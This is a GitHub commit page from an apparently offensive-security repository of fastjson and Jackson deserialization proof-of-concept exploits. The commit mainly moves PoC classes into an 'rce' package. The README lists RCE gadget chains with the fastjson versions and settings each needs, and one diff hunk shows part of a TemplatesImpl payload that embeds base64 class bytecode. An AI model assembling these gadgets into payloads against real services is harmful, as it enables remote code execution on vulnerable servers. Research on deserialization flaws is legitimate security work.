Skip to content

Commit 23ab9ee

Browse files
author
“threedr3am”
committed
feat:公开若干个新的jackson、fastjson SSRF gadget(水)
1 parent 35a3f38 commit 23ab9ee

25 files changed

+38
-36
lines changed

README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,10 @@
33
---
44

55
### fastjson
6-
1. com.threedr3am.bug.fastjson.FastjsonSerialize(TemplatesImpl) 利用条件:fastjson <= 1.2.24 + Feature.SupportNonPublicField
7-
2. com.threedr3am.bug.fastjson.NoNeedAutoTypePoc 利用条件:fastjson < 1.2.48 不需要任何配置,默认配置通杀RCE
8-
3. com.threedr3am.bug.fastjson.HikariConfigPoc(HikariConfig) 利用条件:fastjson <= 1.2.59 RCE,需要开启AutoType
9-
4. com.threedr3am.bug.fastjson.CommonsProxyPoc(SessionBeanProvider) 利用条件:fastjson <= 1.2.61 RCE,需要开启AutoType
6+
1. com.threedr3am.bug.fastjson.rce.FastjsonSerialize(TemplatesImpl) 利用条件:fastjson <= 1.2.24 + Feature.SupportNonPublicField
7+
2. com.threedr3am.bug.fastjson.rce.NoNeedAutoTypePoc 利用条件:fastjson < 1.2.48 不需要任何配置,默认配置通杀RCE
8+
3. com.threedr3am.bug.fastjson.rce.HikariConfigPoc(HikariConfig) 利用条件:fastjson <= 1.2.59 RCE,需要开启AutoType
9+
4. com.threedr3am.bug.fastjson.rce.CommonsProxyPoc(SessionBeanProvider) 利用条件:fastjson <= 1.2.61 RCE,需要开启AutoType
1010

1111
---
1212

fastjson/src/main/java/com/threedr3am/bug/fastjson/AnterosPoc.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/AnterosPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;

fastjson/src/main/java/com/threedr3am/bug/fastjson/Cmd.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/Cmd.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.sun.org.apache.xalan.internal.xsltc.DOM;
44
import com.sun.org.apache.xalan.internal.xsltc.TransletException;

fastjson/src/main/java/com/threedr3am/bug/fastjson/CocoonSlidePoc.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/CocoonSlidePoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;

fastjson/src/main/java/com/threedr3am/bug/fastjson/CommonsProxyPoc.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/CommonsProxyPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;

fastjson/src/main/java/com/threedr3am/bug/fastjson/FastjsonSerialize.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/FastjsonSerialize.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.Feature;
@@ -19,7 +19,7 @@ private static void testSimpleExp() {
1919
try {
2020
StringBuilder stringBuilder = new StringBuilder();
2121
stringBuilder.append("{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",");
22-
String base64Class = new BASE64Encoder().encode(FileToByteArrayUtil.readCallbackRuntimeClassBytes("com/threedr3am/bug/fastjson/Cmd.class"));
22+
String base64Class = new BASE64Encoder().encode(FileToByteArrayUtil.readCallbackRuntimeClassBytes("com/threedr3am/bug/fastjson/rce/Cmd.class"));
2323
base64Class = base64Class.replaceAll("\\r\\n","");
2424
stringBuilder.append("\"_bytecodes\":[\""+base64Class+"\"],");
2525
stringBuilder.append("\"_name\":\"a.b\",");

fastjson/src/main/java/com/threedr3am/bug/fastjson/HadoopHikariPoc.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/HadoopHikariPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;

fastjson/src/main/java/com/threedr3am/bug/fastjson/HikariConfigPoc.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/HikariConfigPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;

fastjson/src/main/java/com/threedr3am/bug/fastjson/IbatisSqlmapPoc.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/IbatisSqlmapPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;

fastjson/src/main/java/com/threedr3am/bug/fastjson/JndiConverterPoc.java renamed to fastjson/src/main/java/com/threedr3am/bug/fastjson/rce/JndiConverterPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.fastjson;
1+
package com.threedr3am.bug.fastjson.rce;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;

0 commit comments

Comments
 (0)